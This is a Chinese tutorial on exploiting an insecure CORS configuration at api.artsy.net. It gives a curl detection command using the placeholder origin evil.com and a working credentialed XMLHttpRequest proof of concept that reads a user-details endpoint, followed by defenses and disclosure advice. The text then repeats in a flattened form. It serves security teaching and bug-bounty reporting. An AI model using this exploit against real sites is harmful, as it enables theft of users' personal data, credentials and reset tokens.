利用不安全的跨源资源共享(CORS)---api.artsy.net
字数 961 2025-08-29 08:32:30

利用不安全的跨源资源共享(CORS)漏洞教学文档

1. CORS漏洞概述

跨源资源共享(CORS)是一种机制,允许网页从不同域(源)请求受限资源。当CORS配置不当时,可能导致敏感信息泄露或跨站请求伪造(CSRF)攻击。

2. 漏洞检测方法

2.1 使用CURL检测

curl https://api.artsy.net -H "Origin: https://evil.com" -I

关键响应头检查:

  • Access-Control-Allow-Credentials: true - 允许携带凭据
  • Access-Control-Allow-Origin: https://evil.com - 反射了任意来源

这两个响应头组合出现通常表明存在CORS配置漏洞。

2.2 浏览器开发者工具检测

在浏览器中打开开发者工具(F12),检查网络请求的响应头是否包含上述两个关键头。

3. 漏洞利用步骤

3.1 识别敏感API端点

在示例中发现的敏感端点:

https://api.artsy.net/api/user_details/

3.2 构造恶意JavaScript代码

function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
    }
  };
  xhttp.open("GET", "https://api.artsy.net/api/user_details/<User-ID>", true);
  xhttp.withCredentials = true; // 携带用户凭据
  xhttp.send();
}

3.3 利用要点

  1. withCredentials: 设置为true以携带用户cookie
  2. GET请求: 向敏感API端点发送请求
  3. 响应处理: 将响应内容显示或发送到攻击者服务器

4. 漏洞影响

成功利用可获取:

  • 用户ID
  • 注册日期
  • 邮箱地址
  • 手机号码
  • 用户凭证
  • 密码重置凭证
  • 用户收藏品
  • 用户设备信息

5. 防御措施

5.1 服务器端配置

  1. 限制允许的来源:

    Access-Control-Allow-Origin: https://trusted-domain.com
    

    而不是反射任意来源或使用通配符(*)

  2. 避免使用通配符:

    Access-Control-Allow-Origin: *
    

    当与Access-Control-Allow-Credentials: true一起使用时特别危险

  3. 限制允许的方法和头:

    Access-Control-Allow-Methods: GET, POST
    Access-Control-Allow-Headers: Content-Type
    

5.2 其他防御

  1. 验证Origin头: 服务器应验证请求的Origin是否在允许列表中
  2. 避免敏感操作使用CORS: 对于敏感操作,考虑其他安全机制
  3. 使用CSRF令牌: 即使CORS配置正确,也应使用CSRF保护

6. 学习资源

  1. GeekBoy博客文章 - 详细讲解CORS漏洞利用
  2. BugBountyPOC - 提供获得赏金的漏洞POC
  3. 示例利用视频 - 实际漏洞利用演示

7. 报告漏洞

发现CORS漏洞后,应按照目标网站的漏洞披露政策进行报告,通常包括:

  • 漏洞描述
  • 影响评估
  • 重现步骤
  • 修复建议

通过理解这些关键点,安全研究人员可以有效地识别、利用和报告CORS配置漏洞。

利用不安全的跨源资源共享(CORS)漏洞教学文档 1. CORS漏洞概述 跨源资源共享(CORS)是一种机制,允许网页从不同域(源)请求受限资源。当CORS配置不当时,可能导致敏感信息泄露或跨站请求伪造(CSRF)攻击。 2. 漏洞检测方法 2.1 使用CURL检测 关键响应头检查: Access-Control-Allow-Credentials: true - 允许携带凭据 Access-Control-Allow-Origin: https://evil.com - 反射了任意来源 这两个响应头组合出现通常表明存在CORS配置漏洞。 2.2 浏览器开发者工具检测 在浏览器中打开开发者工具(F12),检查网络请求的响应头是否包含上述两个关键头。 3. 漏洞利用步骤 3.1 识别敏感API端点 在示例中发现的敏感端点: 3.2 构造恶意JavaScript代码 3.3 利用要点 withCredentials : 设置为true以携带用户cookie GET请求 : 向敏感API端点发送请求 响应处理 : 将响应内容显示或发送到攻击者服务器 4. 漏洞影响 成功利用可获取: 用户ID 注册日期 邮箱地址 手机号码 用户凭证 密码重置凭证 用户收藏品 用户设备信息 5. 防御措施 5.1 服务器端配置 限制允许的来源 : 而不是反射任意来源或使用通配符(* ) 避免使用通配符 : 当与 Access-Control-Allow-Credentials: true 一起使用时特别危险 限制允许的方法和头 : 5.2 其他防御 验证Origin头 : 服务器应验证请求的Origin是否在允许列表中 避免敏感操作使用CORS : 对于敏感操作,考虑其他安全机制 使用CSRF令牌 : 即使CORS配置正确,也应使用CSRF保护 6. 学习资源 GeekBoy博客文章 - 详细讲解CORS漏洞利用 BugBountyPOC - 提供获得赏金的漏洞POC 示例利用视频 - 实际漏洞利用演示 7. 报告漏洞 发现CORS漏洞后,应按照目标网站的漏洞披露政策进行报告,通常包括: 漏洞描述 影响评估 重现步骤 修复建议 通过理解这些关键点,安全研究人员可以有效地识别、利用和报告CORS配置漏洞。